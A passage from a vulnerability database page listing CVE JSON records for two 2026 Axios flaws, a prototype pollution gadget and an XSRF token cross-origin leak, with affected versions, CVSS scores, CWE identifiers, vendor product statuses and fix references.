{
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "affected",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:gatekeeper:3"
],
"defaultStatus": "unaffected",
"product": "Gatekeeper 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine"
],
"defaultStatus": "unaffected",
"product": "Multicluster Engine for Kubernetes",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3"
],
"defaultStatus": "unaffected",
"product": "OpenShift Service Mesh 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:acm:2"
],
"defaultStatus": "unaffected",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1"
],
"defaultStatus": "unaffected",
"product": "Red Hat Developer Hub",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:discovery:2::el9"
],
"defaultStatus": "unaffected",
"product": "Red Hat Discovery 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3"
],
"defaultStatus": "unaffected",
"product": "Red Hat Quay 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:trusted_artifact_signer:1"
],
"defaultStatus": "unaffected",
"product": "Red Hat Trusted Artifact Signer",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apache_camel_hawtio:4"
],
"defaultStatus": "unknown",
"product": "Red Hat build of Apache Camel - HawtIO 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:camel_spring_boot:4"
],
"defaultStatus": "unknown",
"product": "Red Hat build of Apache Camel for Spring Boot 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apicurio_registry:3"
],
"defaultStatus": "unknown",
"product": "Red Hat build of Apicurio Registry 3",
"vendor": "Red Hat"
}
],
"datePublic": "2026-05-08T03:20:24.248Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in Axios, a widely used HTTP client. This vulnerability, known as prototype pollution, allows an attacker to inject malicious properties into core JavaScript objects. When another component in the same application environment is compromised and pollutes the system\u0027s object prototype, Axios can unknowingly use these manipulated values in its outbound network requests. This could lead to the disclosure of sensitive information or the alteration of network communications, compromising data confidentiality and integrity."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-915",
"description": "Improperly Controlled Modification of Dynamically-Determined Object Attributes",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-03T12:04:55.635Z",
"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2026-42264"
},
{
"name": "RHBZ#2467927",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2467927"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42264.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:33173"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:20889: Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"lang": "en",
"value": "RHSA-2026:20938: Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"lang": "en",
"value": "RHSA-2026:33173: Red Hat OpenShift Service Mesh 3.2"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-05-08T04:02:21.039Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-05-08T03:20:24.248Z",
"value": "Made public."
}
],
"title": "axios: Axios: Prototype pollution allows information disclosure and request manipulation",
"workarounds": [
{
"lang": "en",
"value": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability."
}
],
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"product": "axios",
"vendor": "axios",
"versions": [
{
"status": "affected",
"version": "\u003e= 1.0.0, \u003c 1.15.2"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Axios is a promise based HTTP client for the browser and Node.js. From version 1.0.0 to before version 1.15.2, fFive config properties (auth, baseURL, socketPath, beforeRedirect, and insecureHTTPParser) in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request. This issue has been patched in version 1.15.2."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1321",
"description": "CWE-1321: Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-08T03:20:24.248Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj"
},
{
"name": "https://github.com/axios/axios/pull/10779",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/axios/axios/pull/10779"
},
{
"name": "https://github.com/axios/axios/commit/47915144662f2733e6c051bdcb895a8c8f0586aa",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/axios/axios/commit/47915144662f2733e6c051bdcb895a8c8f0586aa"
},
{
"name": "https://github.com/axios/axios/releases/tag/v1.15.2",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/axios/axios/releases/tag/v1.15.2"
}
],
"source": {
"advisory": "GHSA-q8qp-cvcw-x6jj",
"discovery": "UNKNOWN"
},
"title": "Axios: Prototype pollution read-side gadgets in HTTP adapter allow credential injection and request hijacking"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-42264",
"datePublished": "2026-05-08T03:20:24.248Z",
"dateReserved": "2026-04-26T11:53:27.706Z",
"dateUpdated": "2026-07-03T12:04:55.635Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-42042 (GCVE-0-2026-42042)
Vulnerability from cvelistv5 – Published: 2026-04-24 18:03 – Updated: 2026-04-27 17:35| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-42042",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-27T17:35:32.406605Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-27T17:35:41.883Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-xx6v-rp6x-q39c"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "axios",
"vendor": "axios",
"versions": [
{
"status": "affected",
"version": "\u003e= 1.0.0, \u003c 1.15.1"
},
{
"status": "affected",
"version": "\u003c 0.31.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, the Axios library\u0027s XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker. This vulnerability is fixed in 1.15.1 and 0.31.1."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-183",
"description": "CWE-183: Permissive List of Allowed Inputs",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-201",
"description": "CWE-201: Insertion of Sensitive Information Into Sent Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-24T18:03:29.924Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/axios/axios/security/advisories/GHSA-xx6v-rp6x-q39c",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-xx6v-rp6x-q39c"
}
],
"source": {
"advisory": "GHSA-xx6v-rp6x-q39c",
"discovery": "UNKNOWN"
},
"title": "Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-42042",
"datePublished": "2026-04-24T18:03:29.924Z",
"dateReserved": "2026-04-23T16:05:01.709Z",
"dateUpdated": "2026-04-27T17:35:41.883Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.